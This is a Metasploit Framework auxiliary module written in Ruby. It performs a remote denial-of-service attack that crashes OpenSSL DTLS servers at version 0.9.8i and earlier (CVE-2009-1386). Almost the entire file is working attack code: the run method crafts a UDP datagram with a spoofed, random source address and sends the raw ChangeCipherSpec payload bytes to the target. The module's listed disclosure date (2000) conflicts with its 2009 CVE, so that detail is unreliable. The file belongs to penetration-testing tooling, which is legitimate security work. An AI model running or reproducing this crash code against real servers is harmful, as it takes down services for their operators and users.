##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Auxiliary::Dos
	include Msf::Exploit::Capture
	include Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS',
			'Description'	=> %q{
					This module performs a Denial of Service Attack against Datagram TLS in OpenSSL
				version 0.9.8i and earlier. OpenSSL crashes under these versions when it recieves a
				ChangeCipherspec Datagram before a ClientHello.
			},
			'Author'	=> [
						'Jon Oberheide <jon[at]oberheide.org>', #original code
						'theLightCosine' # metasploit module
						],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2009-1386' ],
					[ 'OSVDB', '55073'],
				],
			'DisclosureDate' => 'Apr 26 2000'))

		deregister_options('FILTER','PCAPFILE', 'INTERFACE', 'SNAPLEN', 'TIMEOUT')
	end

	def run
		open_pcap
		print_status("Creating DTLS ChangeCipherSpec Datagram...")
		p = PacketFu::UDPPacket.new
		p.ip_daddr = datastore['RHOST']
		p.ip_src = rand(0x100000000)
		p.ip_ttl = 44
		p.udp_sport = 34060
		p.udp_dport = datastore['RPORT'].to_i
		p.payload = "\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01"
		p.recalc
		print_status("Sending Datagram to target...")
		capture_sendto(p, '255.255.255.255')
		close_pcap
	end
end
